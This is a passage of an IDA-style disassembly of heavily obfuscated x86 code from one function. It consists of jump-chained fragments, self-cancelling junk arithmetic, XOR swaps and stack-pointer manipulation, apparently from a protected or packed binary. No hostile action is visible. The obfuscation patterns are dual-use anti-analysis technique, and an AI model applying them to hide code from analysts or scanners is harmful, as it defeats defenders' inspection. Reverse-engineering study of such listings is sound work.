		mov	edi, [esp+28h+var_2A+2]
		add	esp, 4
		jmp	loc_5B877E
; ---------------------------------------------------------------------------


loc_5B57C4:				; CODE XREF: sub_5A55E5+174CDj
		xor	ebp, 13B63A1Ch
		jmp	loc_5B13A8
; ---------------------------------------------------------------------------


loc_5B57CF:				; CODE XREF: sub_5A55E5+18301j
		pop	esp
		mov	word ptr [esp+20h+var_22+2], dx
		mov	dl, 0F1h
		sub	esp, 4
		jmp	loc_5B8FA8
; ---------------------------------------------------------------------------


loc_5B57DE:				; CODE XREF: sub_5A55E5+F595j
		pop	esp
		mov	[esp+10h+var_10], eax
		push	edx
		jmp	loc_5AF592
; ---------------------------------------------------------------------------


loc_5B57E8:				; CODE XREF: sub_5A55E5+12A5Fj
		mov	[esp+14h+var_14], ebx
		mov	ebx, 1C6B504Ah
		jmp	loc_5B90A6
; ---------------------------------------------------------------------------


loc_5B57F5:				; CODE XREF: sub_5A55E5+E043j
		sub	edi, 0AD5E845h
		mov	ebp, edi
		jmp	loc_5AD1C3
; ---------------------------------------------------------------------------


loc_5B5802:				; CODE XREF: sub_5A55E5+11178j
		mov	dl, 0D9h
		jmp	loc_5B551B
; ---------------------------------------------------------------------------


loc_5B5809:				; CODE XREF: sub_5A55E5+12962j
		push	ecx
		mov	ecx, 167163EDh
		mov	ebp, ecx
		pop	ecx
		push	edx
		jmp	loc_5AF2FE
; ---------------------------------------------------------------------------


loc_5B5818:				; CODE XREF: sub_5A55E5+8E06j
		pop	esp
		pop	[esp+18h+var_18]
		mov	esp, [esp+14h+var_14]
		push	esi
		jmp	loc_5BC5F7
; ---------------------------------------------------------------------------


loc_5B5825:				; CODE XREF: sub_5A55E5+1930Bj
		sub	esi, 0CF319D8h
		add	esi, eax
		add	esi, 0CF319D8h
		pop	eax
		add	esi, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	[esp+1Ch+var_18]
		jmp	loc_5B764E
; ---------------------------------------------------------------------------


loc_5B5850:				; CODE XREF: sub_5A55E5+16FEBj
		mov	[esp+20h+var_22+2], esi
		mov	esi, 0AFF4B388h
		push	esi
		xor	[esp+24h+var_26+2], 27863456h
		pop	ebp
		xor	ebp, 27863456h
		jmp	loc_5B39E1
; ---------------------------------------------------------------------------


loc_5B586C:				; CODE XREF: sub_5A55E5+6AD3j
		push	edi
		jmp	loc_5B65F4
; ---------------------------------------------------------------------------


loc_5B5872:				; CODE XREF: sub_5A55E5+130AFj
		mov	[esp+66h+var_68+2], eax
		jmp	loc_5BE3BB
; ---------------------------------------------------------------------------


loc_5B587A:				; CODE XREF: sub_5A55E5+198E9j
		mov	[esp+66h+var_68+2], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+66h+var_68+2]
		pop	esp
		jmp	loc_5AA842
; ---------------------------------------------------------------------------


loc_5B5894:				; CODE XREF: sub_5A55E5+F4E2j
		sub	esp, 4
		mov	[esp+28h+var_2A+2], edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_5AB11E
; ---------------------------------------------------------------------------


loc_5B58AC:				; CODE XREF: sub_5A55E5+18FF9j
		mov	ebp, [esp+2Ch+var_2E+2]
		jmp	loc_5B7F4C
; ---------------------------------------------------------------------------


loc_5B58B4:				; CODE XREF: sub_5A55E5+18B5Fj
		mov	ebx, 28464DB5h
		sub	edi, ebx
		mov	ebx, [esp+2Ch+var_2E+2]
		jmp	loc_5B080F
; ---------------------------------------------------------------------------


loc_5B58C3:				; CODE XREF: sub_5A55E5+ED46j
		mov	[esp+2Ah+var_2A], eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		add	ebx, 4
		jmp	loc_5BD909
; ---------------------------------------------------------------------------


loc_5B58D9:				; CODE XREF: sub_5A55E5+D835j
		mov	ebx, esp
		jmp	loc_5ACC4B
; ---------------------------------------------------------------------------


loc_5B58E0:				; CODE XREF: sub_5A55E5+D6D0j
		neg	ebp
		jmp	loc_5B9D05
; ---------------------------------------------------------------------------


loc_5B58E7:				; CODE XREF: sub_5A55E5+D8A7j
		mov	esi, 21E04543h
		add	esi, 64684AC2h
		sub	esi, ebp
		sub	esi, 64684AC2h
		pop	ebp
		push	edx
		mov	edx, 1126120Ah
		dec	edx
		jmp	loc_5B226A
; ---------------------------------------------------------------------------


loc_5B5907:				; CODE XREF: sub_5A55E5+D7BDj
		pop	ebp
		add	esi, eax
		mov	eax, [esp+38h+var_3A+2]
		add	esp, 4
		push	0B0Eh
		jmp	loc_5B838B
; ---------------------------------------------------------------------------


loc_5B591D:				; CODE XREF: sub_5A55E5+ACC0j
		xor	cl, 0AAh
		jmp	loc_5BE0F1
; ---------------------------------------------------------------------------


loc_5B5925:				; CODE XREF: sub_5A55E5+67E4j
		mov	cl, 0C5h
		or	cl, 0Dh
		push	edx
		mov	dl, 0FFh
		add	cl, dl
		jmp	loc_5BB975
; ---------------------------------------------------------------------------


loc_5B5934:				; CODE XREF: sub_5A55E5+50D6j
		mov	ch, dh
		mov	edx, [esp+5Ah+var_5C+2]
		add	esp, 4
		jmp	loc_5B8644
; ---------------------------------------------------------------------------


loc_5B5941:				; CODE XREF: sub_5A55E5+13702j
		add	ecx, 0B884451h
		add	ecx, edi
		sub	ecx, 0B884451h
		mov	edi, [esp+56h+var_58+2]
		add	esp, 4
		jmp	loc_5BEB8D
; ---------------------------------------------------------------------------


loc_5B595D:				; CODE XREF: sub_5A55E5+9723j
		sub	esp, 4
		jmp	loc_5B5FD2
; ---------------------------------------------------------------------------


loc_5B5965:				; CODE XREF: sub_5A55E5+17744j
		neg	ecx
		add	ecx, 0E1B7717Ah
		add	edx, ecx
		pop	ecx
		sub	edx, eax
		jmp	loc_5B9289
; ---------------------------------------------------------------------------


loc_5B5977:				; CODE XREF: sub_5A55E5+59D0j
		mov	ecx, 11E1720h
		jmp	loc_5BE645
; ---------------------------------------------------------------------------


loc_5B5981:				; CODE XREF: sub_5A55E5+7194j
		and	ecx, 370755DCh
		shr	ecx, 8
		sub	ecx, 0B4EEBF8Ah
		sub	eax, ecx
		jmp	loc_5B08C5
; ---------------------------------------------------------------------------


loc_5B5997:				; CODE XREF: sub_5A55E5+F54Aj
		push	eax
		jmp	loc_5AC30E
; ---------------------------------------------------------------------------


loc_5B599D:				; CODE XREF: sub_5A55E5+CC36j
		mov	bh, al
		mov	eax, [esp+24h+var_26+2]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5AA8A3
; ---------------------------------------------------------------------------


loc_5B59B3:				; CODE XREF: sub_5A55E5+87C0j
		pop	edx
		pop	[esp+1Ah+var_1C+2]
		mov	esp, [esp+16h+var_18+2]
		mov	[esp+16h+var_18+2], ebp
		push	317h
		mov	[esp+1Ah+var_1C+2], esp
		jmp	loc_5BD4BA
; ---------------------------------------------------------------------------


loc_5B59CA:				; CODE XREF: sub_5A55E5+16A76j
		xchg	bx, cx
		neg	bx
		xchg	bx, cx
		sub	cx, 0EC11h
		jmp	loc_5AF441
; ---------------------------------------------------------------------------


loc_5B59DD:				; CODE XREF: sub_5A55E5+1271Ej
		add	edi, 43A201B2h
		pop	ebp
		xor	edi, [esp+16h+var_18+2]
		xor	[esp+16h+var_18+2], edi
		xor	edi, [esp+16h+var_18+2]
		pop	esp
		jmp	loc_5B5258
; ---------------------------------------------------------------------------


loc_5B59F3:				; CODE XREF: sub_5A55E5+144FBj
		pop	esp
		pop	[esp+0Eh+var_10+2]
		jmp	loc_5AD082
; ---------------------------------------------------------------------------


loc_5B59FC:				; CODE XREF: sub_5A55E5+9992j
		xor	ecx, edx
		pop	edx
		jmp	loc_5BED0B
; ---------------------------------------------------------------------------


loc_5B5A04:				; CODE XREF: sub_5A55E5+6124j
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 580D7CADh
		shl	ecx, 2
		sub	ecx, 5B568C1Fh
		dec	ecx
		jmp	loc_5BA632
; ---------------------------------------------------------------------------


loc_5B5A1B:				; CODE XREF: sub_5A55E5+1982Fj
		add	ah, 0Ah
		jmp	loc_5BADDF
; ---------------------------------------------------------------------------


loc_5B5A23:				; CODE XREF: sub_5A55E5+13A7Ej
		add	esp, 4
		xor	ebp, [esp+18h+var_18]
		xor	[esp+18h+var_18], ebp
		xor	ebp, [esp+18h+var_18]
		pop	esp
		pop	dword ptr [edi+24h]


loc_5B5A36:				; CODE XREF: sub_5A55E5+F0D7j
		sub	esp, 4
		jmp	loc_5BA881
; ---------------------------------------------------------------------------


loc_5B5A41:				; CODE XREF: sub_5A55E5+1505Ej
		xor	edi, 64130946h
		and	ecx, edi
		pop	edi
		push	edi
		mov	edi, 10050825h
		jmp	loc_5B7A33
; ---------------------------------------------------------------------------


loc_5B5A55:				; CODE XREF: sub_5A55E5+4EC2j
		mov	edx, esp
		push	ebx
		mov	ebx, 5B561B08h
		sub	ebx, 5B561B04h
		add	edx, ebx
		jmp	loc_5B26F9
; ---------------------------------------------------------------------------


loc_5B5A6A:				; CODE XREF: sub_5A55E5+5B05j
		inc	esi
		add	esi, 0FFFFFFFFh
		sub	esi, 226E12CCh
		xor	esi, 181A3E77h
		jmp	loc_5AE85B
; ---------------------------------------------------------------------------


loc_5B5A82:				; CODE XREF: sub_5A55E5+1559Bj
		push	[esp+8+var_8]
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		push	ebp
		jmp	loc_5BB4FF
; ---------------------------------------------------------------------------


loc_5B5A91:				; CODE XREF: sub_5A55E5+1672Dj
		pop	esp
		jmp	loc_5B4043
; ---------------------------------------------------------------------------


loc_5B5A97:				; CODE XREF: sub_5A55E5+C676j
		mov	ecx, [esp+58h+var_58]
		add	esp, 4
		jmp	loc_5A9D3C
; ---------------------------------------------------------------------------


loc_5B5AA2:				; CODE XREF: sub_5A55E5+A913j
		xchg	ebx, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		push	[esp+10h+var_10]
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		push	1D92h
		mov	[esp+14h+var_14], ebx
		push	esp
		pop	ebx
		jmp	loc_5B3D87
; ---------------------------------------------------------------------------


loc_5B5AC3:				; CODE XREF: sub_5A55E5+F60Fj
		add	esi, 27EC5D87h
		push	[esp+30h+var_32+2]
		jmp	loc_5BA56D
; ---------------------------------------------------------------------------


loc_5B5AD1:				; CODE XREF: sub_5A55E5+15526j
		and	edi, ebx
		pop	ebx
		sub	edi, 43802276h
		mov	ecx, edi
		jmp	loc_5BEE19
; ---------------------------------------------------------------------------


loc_5B5AE1:				; CODE XREF: sub_5A55E5+11B9Dj
		pop	ebx
		push	esi
		mov	esi, 45B10645h
		jmp	loc_5AA7FF
; ---------------------------------------------------------------------------


loc_5B5AED:				; CODE XREF: sub_5A55E5+6A0Dj
		add	esp, 4
		sub	ecx, esi
		mov	esi, [esp+3Ch+var_3E+2]
		add	esp, 4
		jmp	loc_5AE25C
; ---------------------------------------------------------------------------


loc_5B5B03:				; CODE XREF: sub_5A55E5+10D62j
		sub	edi, 7E162B27h
		sub	edi, 1BB62F07h
		add	edi, esi
		jmp	loc_5BEA33
; ---------------------------------------------------------------------------


loc_5B5B16:				; CODE XREF: sub_5A55E5+11A42j
		push	dx
		push	4BEEh
		mov	[esp+3Eh+var_3E], ebx
		mov	bl, 0AFh
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 2D4302A5h
		and	ebp, 59933AD5h
		jmp	loc_5AFFDB
; ---------------------------------------------------------------------------


loc_5B5B36:				; CODE XREF: sub_5A55E5+13C0Aj
		xor	ebp, ecx
		pop	ecx
		sub	edx, 4F19446Eh
		sub	edx, ebp
		jmp	loc_5B8980
; ---------------------------------------------------------------------------


loc_5B5B46:				; CODE XREF: sub_5A55E5+EB7Fj
		xor	esi, 4270B3Ah
		shr	esi, 2
		and	esi, 45192B44h
		sub	esp, 4
		mov	[esp+0], ecx
		jmp	loc_5AE33E
; ---------------------------------------------------------------------------


loc_5B5B60:				; CODE XREF: sub_5A55E5+185A0j
		push	63517EB4h
		mov	ebx, [esp+22h+var_22]
		jmp	loc_5BC309
; ---------------------------------------------------------------------------


loc_5B5B6D:				; CODE XREF: sub_5A55E5+1544Cj
		xor	edx, [esp+22h+var_22]
		xor	[esp+22h+var_22], edx
		jmp	loc_5B8081
; ---------------------------------------------------------------------------


loc_5B5B78:				; CODE XREF: sub_5A55E5+8C20j
		dec	eax
		sub	eax, 595B7038h
		mov	edx, eax
		jmp	loc_5BF4E2
; ---------------------------------------------------------------------------


loc_5B5B85:				; CODE XREF: sub_5A55E5+CFADj
		add	eax, 0F7A6A697h
		xor	ebp, eax
		pop	eax
		push	ebp
		xor	[esp+28h+var_2A+2], 9BB5943h
		pop	edi
		xor	edi, 9BB5943h
		pop	ebp
		push	ecx
		mov	ecx, 448706A4h
		xor	edi, ecx
		jmp	loc_5B3A42
; ---------------------------------------------------------------------------


loc_5B5BAA:				; CODE XREF: sub_5A55E5+11557j
		push	3090h
		jmp	loc_5ADD38
; ---------------------------------------------------------------------------


loc_5B5BB4:				; CODE XREF: sub_5A55E5+9483j
		shl	word ptr [esp+34h+var_36+2], cl
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B5BBE:				; CODE XREF: sub_5A55E5+AEAAj
		sub	edi, 40560408h
		sub	edi, eax
		jmp	loc_5B69B3
; ---------------------------------------------------------------------------


loc_5B5BCB:				; CODE XREF: sub_5A55E5+8157j
		mov	ecx, 3E460BFDh
		add	ecx, 321A0277h
		sub	ecx, 5FCF13EEh
		jmp	loc_5B398A
; ---------------------------------------------------------------------------


loc_5B5BE1:				; CODE XREF: sub_5A55E5+17AD2j
		push	1D5Ah
		mov	[esp+36h+var_36], edi
		mov	edi, 5D7B3228h
		add	ebp, edi
		jmp	loc_5B6851
; ---------------------------------------------------------------------------


loc_5B5BF5:				; CODE XREF: sub_5A55E5+F51Fj
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5AB9CD
; ---------------------------------------------------------------------------


loc_5B5C03:				; CODE XREF: sub_5A55E5+151F1j
		pop	ebp
		sub	esp, 4
		mov	[esp+1Ch+var_1C], esi
		mov	esi, 476F6E0Ch
		neg	esi
		dec	esi
		not	esi
		dec	esi
		push	ecx
		mov	ecx, 2B771C1h
		xor	esi, ecx
		pop	ecx
		jmp	loc_5ACB74
; ---------------------------------------------------------------------------


loc_5B5C26:				; CODE XREF: sub_5A55E5+4642j
		mov	ecx, [esp+2Ah+var_2A]
		add	esp, 4
		xor	eax, 4D33494Ch
		or	eax, 64137E09h
		push	3C19h
		mov	[esp+2Ah+var_2A], esi
		mov	esi, 1FC760F1h
		shr	esi, 4
		and	esi, 5B287DEBh
		xor	esi, 32902B4Dh
		push	ebx
		mov	ebx, 41631ED3h
		add	esi, ebx
		pop	ebx
		sub	eax, esi
		pop	esi
		add	ebp, eax
		jmp	loc_5AF710
; ---------------------------------------------------------------------------


loc_5B5C65:				; CODE XREF: sub_5A55E5+12449j
		add	esi, 44B95AF9h
		mov	ebp, [esp+26h+var_26]
		add	esp, 4
		push	3AEFh
		mov	[esp+26h+var_26], edi
		push	ecx
		push	68B31961h
		jmp	loc_5B6D2C
; ---------------------------------------------------------------------------


loc_5B5C84:				; DATA XREF: sub_5A55E5+4393o
		push	dword ptr [edi+3Ch]
		jmp	loc_5B5537
; ---------------------------------------------------------------------------


loc_5B5C8C:				; CODE XREF: sub_5A55E5+B2A5j
		push	esi
		push	ebp
		jmp	loc_5AB21A
; ---------------------------------------------------------------------------


loc_5B5C93:				; CODE XREF: sub_5A55E5+14CCFj
		sub	edx, 16612EBh
		jmp	loc_5BF12D
; ---------------------------------------------------------------------------


loc_5B5C9E:				; CODE XREF: sub_5A55E5+83B8j
		push	ebx
		mov	ebx, esp
		jmp	loc_5B98EE
; ---------------------------------------------------------------------------


loc_5B5CA6:				; CODE XREF: sub_5A55E5+5580j
		add	[esp+5Ah+var_5C+2], 42983033h
		jmp	loc_5B8900
; ---------------------------------------------------------------------------


loc_5B5CB2:				; CODE XREF: sub_5A55E5+190A0j
		xor	edi, ecx
		mov	ecx, [esp+5Ah+var_5C+2]
		add	esp, 4
		jmp	loc_5B7FA9
; ---------------------------------------------------------------------------


loc_5B5CC2:				; CODE XREF: sub_5A55E5+9114j
		sub	esi, 782844CBh
		jmp	loc_5B8B72
; ---------------------------------------------------------------------------


loc_5B5CCD:				; CODE XREF: sub_5A55E5+11DD2j
		pop	ebp
		xor	esi, 6F6AFA72h
		and	ecx, esi
		pop	esi
		shr	ecx, 0
		or	eax, eax
		jz	loc_5BE0DA
		push	57A5h
		mov	[esp+18h+var_18], esi
		push	ebx
		push	esi
		push	eax
		push	56F4356h
		pop	eax
		shr	eax, 4
		jmp	loc_5B0C04
; ---------------------------------------------------------------------------


loc_5B5CFB:				; DATA XREF: sub_5A55E5+439Fo
		lodsd
		sub	eax, 216053F3h
		sub	eax, 4556346Bh
		jmp	loc_5B9400
; ---------------------------------------------------------------------------


loc_5B5D0B:				; CODE XREF: sub_5A55E5+9B70j
		mov	cx, [esp+0]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		push	ebp
		push	[esp+26h+var_22]
		pop	ebp
		pop	[esp+26h+var_26]
		pop	esp
		jmp	loc_5AD506
; ---------------------------------------------------------------------------


loc_5B5D2A:				; CODE XREF: sub_5A55E5+19538j
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+1Ah+var_1C+2]
		pop	esp
		pop	[esp+16h+var_18+2]
		mov	esp, [esp+12h+var_14+2]
		mov	word ptr [esp+12h+var_14+2], cx
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B5D47:				; CODE XREF: sub_5A55E5+5A02j
		mov	[esp+28h+var_2A+2], ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		jmp	loc_5B65AD
; ---------------------------------------------------------------------------


loc_5B5D57:				; CODE XREF: sub_5A55E5+5134j
		xchg	ecx, edi
		jmp	loc_5AE72D
; ---------------------------------------------------------------------------


loc_5B5D5E:				; CODE XREF: sub_5A55E5+1721Bj
		push	esp
		mov	ebx, [esp+20h+var_22+2]
		add	esp, 4
		push	5E9Fh
		mov	[esp+20h+var_22+2], edi
		jmp	loc_5B1BDE
; ---------------------------------------------------------------------------


loc_5B5D75:				; CODE XREF: sub_5A55E5+ADD5j
		mov	edi, edx
		mov	edx, [esp+56h+var_58+2]
		add	esp, 4
		add	esi, edi
		pop	edi
		push	esi
		jmp	loc_5AE128
; ---------------------------------------------------------------------------


loc_5B5D86:				; CODE XREF: sub_5A55E5+4693j
		push	edi
		push	esi
		jmp	loc_5B9B2A
; ---------------------------------------------------------------------------


loc_5B5D8D:				; CODE XREF: sub_5A55E5+16FC2j
		add	ebp, 6FC77E52h
		sub	ebp, 4130824Fh
		add	esi, 0AD45E22h
		sub	esi, ebp
		sub	esi, 0AD45E22h
		pop	ebp
		pop	ebp
		xor	esi, [esp+26h+var_26]
		xor	[esp+26h+var_26], esi
		xor	esi, [esp+26h+var_26]
		mov	esp, [esp+26h+var_26]
		shl	byte ptr [esp+26h+var_26], cl
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B5DBE:				; CODE XREF: sub_5A55E5+847Fj
		mov	dh, 56h
		add	bl, 0A8h
		add	bl, dh
		sub	bl, 0A8h
		pop	dx
		sub	bl, 6Ah
		jmp	loc_5B0B39
; ---------------------------------------------------------------------------


loc_5B5DD2:				; CODE XREF: sub_5A55E5+DFD8j
		add	esi, 7D90170Fh
		pop	edx
		add	esi, 32982901h
		push	ecx
		mov	ecx, 6D046365h
		jmp	loc_5B6BAD
; ---------------------------------------------------------------------------


loc_5B5DEA:				; CODE XREF: sub_5A55E5+44E9j
		mov	ebx, 49E56D51h
		jmp	loc_5BA81E
; ---------------------------------------------------------------------------


loc_5B5DF4:				; CODE XREF: sub_5A55E5+13CEBj
		push	edi
		mov	edi, 9014D21h
		xor	edi, 0D5941ACh
		shr	edi, 3
		shl	edi, 5
		add	edi, 0ADB99200h
		xor	ecx, edi
		pop	edi
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		mov	[esp+24h+var_26+2], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp+24h+var_26+2]
		xor	[esp+24h+var_26+2], ebp
		xor	ebp, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		push	esi
		jmp	loc_5BF300
; ---------------------------------------------------------------------------


loc_5B5E38:				; CODE XREF: sub_5A55E5+10A66j
		xor	ecx, 0F6435h
		xor	ecx, 0A08E28F3h
		jmp	loc_5BDFAA
; ---------------------------------------------------------------------------


loc_5B5E49:				; CODE XREF: sub_5A55E5+A02Bj
		add	[esp+20h+var_1C], edx
		jmp	loc_5BC25D
; ---------------------------------------------------------------------------


loc_5B5E52:				; CODE XREF: sub_5A55E5+1124Cj
		add	edi, 2598220Ch
		jmp	loc_5B6CC4
; ---------------------------------------------------------------------------


loc_5B5E5D:				; CODE XREF: sub_5A55E5+145E0j
		sub	ebx, 4
		push	ebx
		push	[esp+24h+var_22+2]
		pop	ebx
		pop	[esp+24h+var_26+2]
		pop	esp
		mov	[esp+1Ch+var_1C], ecx
		jmp	loc_5B6700
; ---------------------------------------------------------------------------


loc_5B5E75:				; CODE XREF: sub_5A55E5+59ABj
		pop	esi
		add	ecx, 0DB276C23h
		sub	ebx, 600042C6h
		sub	ebx, ecx
		add	ebx, 600042C6h
		mov	ecx, [esp+1Ch+var_1C]
		add	esp, 4
		push	12DCh
		mov	[esp+1Ch+var_1C], edx
		jmp	loc_5B93F6
; ---------------------------------------------------------------------------


loc_5B5EA0:				; CODE XREF: sub_5A55E5+18BECj
		push	edx
		push	edi
		mov	edi, 53EA3A25h
		push	796Fh
		mov	[esp+28h+var_2A+2], ebp
		push	2958646Dh
		pop	ebp
		jmp	loc_5B085A
; ---------------------------------------------------------------------------


loc_5B5EBA:				; CODE XREF: sub_5A55E5+197CBj
		push	esi
		jmp	loc_5ABAD5
; ---------------------------------------------------------------------------


loc_5B5EC0:				; CODE XREF: sub_5A55E5+11B34j
		mov	ebp, 7A5443Ah
		jmp	loc_5B271B
; ---------------------------------------------------------------------------


loc_5B5ECA:				; CODE XREF: sub_5A55E5+585Cj
		xor	esi, edx
		pop	edx
		push	ebx
		jmp	loc_5BCFF2
; ---------------------------------------------------------------------------


loc_5B5ED3:				; CODE XREF: sub_5A55E5+1463Ej
		push	ecx
		push	ebp
		pop	ecx
		push	ecx
		pop	ebx
		pop	ecx
		push	[esp+3Ah+var_3A]
		jmp	loc_5AF4B8
; ---------------------------------------------------------------------------


loc_5B5EE1:				; CODE XREF: sub_5A55E5+8C2Fj
		mov	ecx, esi
		mov	ebp, ecx
		mov	ecx, [esp+30h+var_32+2]
		jmp	loc_5BD7C0
; ---------------------------------------------------------------------------


loc_5B5EED:				; CODE XREF: sub_5A55E5+9EF0j
		mov	ch, 0E9h
		add	al, 0A8h
		sub	al, ch
		sub	al, 0A8h
		mov	cx, word ptr [esp+16h+var_18+2]
		add	esp, 2
		push	bx
		push	ax
		mov	al, 15h
		jmp	loc_5BEDB5
; ---------------------------------------------------------------------------


loc_5B5F0A:				; CODE XREF: sub_5A55E5+B9BEj
		mov	ecx, [esp+24h+var_26+2]
		add	esp, 4
		pop	[esp+20h+var_22+2]
		mov	esp, [esp+1Ch+var_1C]
		mov	[esp+1Ch+var_1C], eax
		mov	eax, esp
		push	66E3h
		mov	[esp+20h+var_22+2], ebp
		push	esi
		mov	esi, 446F1282h
		jmp	loc_5B2766
; ---------------------------------------------------------------------------


loc_5B5F31:				; CODE XREF: sub_5A55E5+E1CEj
		add	ebp, 4
		jmp	loc_5B4182
; ---------------------------------------------------------------------------


loc_5B5F3C:				; CODE XREF: sub_5A55E5+7135j
		push	edi
		mov	edi, 2EFB1404h
		and	edx, edi
		pop	edi
		sub	edx, 13871464h
		xor	edx, 8213D4Eh
		sub	edx, 0DEDDA6B9h
		add	ecx, edx
		jmp	loc_5B63C2
; ---------------------------------------------------------------------------


loc_5B5F5E:				; CODE XREF: sub_5A55E5+5BE7j
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		push	ebp
		push	[esp+18h+var_14]
		pop	ebp
		pop	[esp+18h+var_18]
		jmp	loc_5B10BF
; ---------------------------------------------------------------------------


loc_5B5F75:				; CODE XREF: sub_5A55E5+8CF1j
		add	esi, 79F94693h
		mov	ebx, [esp+24h+var_26+2]
		add	esp, 4
		xor	esi, [esp+20h+var_22+2]
		jmp	loc_5BC4BD
; ---------------------------------------------------------------------------


loc_5B5F8C:				; CODE XREF: sub_5A55E5+4AA0j
		not	esi
		push	ebp
		push	ecx
		push	edi
		mov	edi, 51FD2DD1h
		jmp	loc_5BD224
; ---------------------------------------------------------------------------


loc_5B5F9B:				; CODE XREF: sub_5A55E5+1226Fj
		push	ebx
		mov	bl, 0FCh
		mov	dl, bl
		mov	ebx, [esp+2Ch+var_2E+2]
		jmp	loc_5AC85D
; ---------------------------------------------------------------------------


loc_5B5FA8:				; CODE XREF: sub_5A55E5+52EBj
		sub	esp, 4
		mov	[esp+26h+var_26], edx
		mov	edx, 36C893C5h
		jmp	loc_5B8707
; ---------------------------------------------------------------------------


loc_5B5FBB:				; CODE XREF: sub_5A55E5+138A7j
		add	ebx, 5C817344h
		pop	ecx
		pop	eax
		not	ebx
		sub	ebx, 715BEDE8h
		add	eax, ebx
		jmp	loc_5BD054
; ---------------------------------------------------------------------------


loc_5B5FD2:				; CODE XREF: sub_5A55E5+1037Bj
		mov	[esp+30h+var_32+2], ebp
		mov	ebp, 30363BA6h
		dec	ebp
		or	ebp, 72337362h
		sub	ebp, 49E530DDh
		jmp	loc_5B95CF
; ---------------------------------------------------------------------------


loc_5B5FEC:				; CODE XREF: sub_5A55E5+E252j
		add	esp, 4
		add	ecx, 312339F3h
		dec	ecx
		not	ecx
		sub	ecx, 9F1E5C38h
		push	esi
		mov	esi, 41105F37h
		add	ebp, esi
		pop	esi
		add	ebp, ecx
		jmp	loc_5AC256
; ---------------------------------------------------------------------------


loc_5B6011:				; CODE XREF: sub_5A55E5+D03Fj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+20h+var_22+2]
		jmp	loc_5A9DC9
; ---------------------------------------------------------------------------


loc_5B6028:				; CODE XREF: sub_5A55E5+17435j
		push	ebx
		push	25585920h
		jmp	loc_5AF2EE
; ---------------------------------------------------------------------------


loc_5B6033:				; CODE XREF: sub_5A55E5+F94Dj
		push	2F31h
		jmp	loc_5ABBB6
; ---------------------------------------------------------------------------


loc_5B603D:				; CODE XREF: sub_5A55E5+8AAAj
		push	ecx
		push	6D2D1507h
		pop	ecx
		dec	ecx
		sub	ecx, 3DEB782Fh
		jmp	loc_5B5E38
; ---------------------------------------------------------------------------


loc_5B6050:				; CODE XREF: sub_5A55E5+D812j
		add	esp, 4
		sub	esp, 4
		jmp	loc_5B84D8
; ---------------------------------------------------------------------------


loc_5B605E:				; CODE XREF: sub_5A55E5+937Fj
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		pop	esp
		jmp	loc_5BDC60
; ---------------------------------------------------------------------------


loc_5B606A:				; CODE XREF: sub_5A55E5+14726j
		mov	edx, ebp
		mov	ebp, [esp+1Ah+var_1C+2]
		add	esp, 4
		add	[esp+16h+var_14+2], edx
		pop	edx
		mov	ebx, [esp+12h+var_14+2]
		jmp	loc_5AFBA1
; ---------------------------------------------------------------------------


loc_5B6082:				; CODE XREF: sub_5A55E5+10F72j
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		xchg	ebx, [esp+0Eh+var_10+2]
		pop	esp
		push	esp
		jmp	loc_5BAD20
; ---------------------------------------------------------------------------


loc_5B6095:				; CODE XREF: sub_5A55E5+142AFj
		mov	[esp+0Eh+var_10+2], esi
		mov	esi, ecx
		mov	ebx, esi
		pop	esi
		push	ebx
		sub	[esp+0Eh+var_10+2], 352442B0h
		pop	edx
		jmp	loc_5ABA91
; ---------------------------------------------------------------------------


loc_5B60AB:				; CODE XREF: sub_5A55E5+15570j
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_5BE9A5
; ---------------------------------------------------------------------------


loc_5B60B8:				; CODE XREF: sub_5A55E5+C263j
		pop	esp
		mov	[esp+3Ch+var_3E+2], eax
		mov	al, 19h
		add	dl, al
		jmp	loc_5BDD0E
; ---------------------------------------------------------------------------


loc_5B60C5:				; CODE XREF: sub_5A55E5+5C90j
		sub	edx, ebp
		sub	edx, 5CB000D5h
		mov	ebp, [esp+0]
		jmp	loc_5B346C
; ---------------------------------------------------------------------------


loc_5B60D5:				; CODE XREF: sub_5A55E5+A21Aj
		add	edi, ebx
		jmp	loc_5B12E8
; ---------------------------------------------------------------------------


loc_5B60DC:				; CODE XREF: sub_5A55E5+7F55j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+18h+var_18]
		pop	esp
		mov	[esp+14h+var_14], ebp
		mov	ebp, 165C14AEh
		shl	ebp, 5
		or	ebp, 57A19DBh
		add	ebp, 0A7AAD095h
		jmp	loc_5B404D
; ---------------------------------------------------------------------------


loc_5B610A:				; CODE XREF: sub_5A55E5+19B57j
		add	edx, 4
		sub	esp, 4
		mov	[esp+18h+var_18], edx
		push	[esp+18h+var_14]
		pop	edx
		pop	[esp+18h+var_18]
		pop	esp
		push	6C2Dh
		mov	[esp+14h+var_14], ebx
		mov	ebx, 20317F58h
		jmp	loc_5B5052
; ---------------------------------------------------------------------------


